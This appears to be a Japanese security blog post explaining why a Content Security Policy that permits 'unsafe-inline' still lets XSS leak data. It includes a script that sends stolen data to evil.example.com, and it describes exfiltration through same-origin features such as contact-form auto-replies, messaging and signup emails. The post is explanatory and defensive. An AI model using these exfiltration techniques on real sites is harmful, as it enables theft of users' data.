|
||
Content Security Policyが適用されているWebアプリにXSSがあって、任意のscriptタグを挿入することが出来る状況下で、盗み出したいデータを攻撃者の保持するドメインに送信しようとする場合。
(inline-scriptを完全に禁止すると移行が大変なので、unsafe-inlineが許可されている想定。実際そういうサイトが多い)
画面遷移なしでユーザーに気付かれないように、こっそりデータを持ち出そうとするには通常こういうことをする。
<script> new Image().src = "http://evil.example.com/?" + base64_encode(data); // あるいは var xhr = new XMLHttpRequest; xhr.open("POST", "http://evil.example.com", true); xhr.send(data); </script>
これをやると、CSPによってimgやiframeやXMLHttpRequestの接続先が制限されているためブロックされることになる。XSSによって任意コード埋め込めたとしても「外部サイトにデータを送ることが出来ない」ので影響が軽減される、と見せかけて実はそうでもなかったりする。
あなたのメールアドレス[__________] お問い合わせ[__________]
といったお問い合わせフォームがあったとする。こういうフォームに送信すると大抵の場合、
このメールは自動返信です、後で人間が返事をします、チケットIDは#xxxxxxです。
問い合わせ内容
....
といった内容が、入力したメールアドレスに対して自動で送信される。問い合わせ内容のところに盗み出したいデータを入れておくことで、攻撃者のメールアドレスにデータを送信して持ち出すことが出来る。
この方法はLastPassがCSPに対応したときに(まだXSSが残ってたので) 実際に攻撃方法として提示したことがある。
http://blog.lastpass.com/2011/03/content-security-policy-csp-implemented.html
Twitterみたいなサイトだったら、盗み出したデータをターゲットのアカウントで書きこんでしまったり、攻撃者のアカウントに対してメッセージ機能を使って送りつけてやればいい。
"何らかのエンコード(持ち出したいデータ)@evil.example.com" というメールアドレスを使ってユーザー登録機能を呼び出す。
CSPが導入されていて、読み込めるリソースが限られている場合でも「攻撃者から結果が観測可能になる何らかの機能が同一originに存在していれば」ユーザーに気付きにくい方法でデータを持ち出すことが出来るだろう。まあそれはそれで運営者側にバレる可能性が高いので完全に「こっそり」というわけでもないけれど。
当然にこういった注意書きは書かれているのだけど https://developer.mozilla.org/ja/docs/Security/CSP/CSP_policy_directives
注記: 'unsafe-inline' および 'unsafe-eval' はどちらも安全ではなく、サイトでクロスサイトスクリプティングの脆弱性が発生するかもしれません。
実際問題、対応するのが大変なのでunsafe-inlineやunsafe-evalが指定されていることが多い。CSPがXSS対策最終兵器として機能するのはunsafe-inlineやunsafe-evalが完全禁止のマゾい設定で運用した場合の話で、単に読み込みリソースを制限しただけでは、XSSによる被害が発生しうる状態に変わりがないことに注意する必要がある。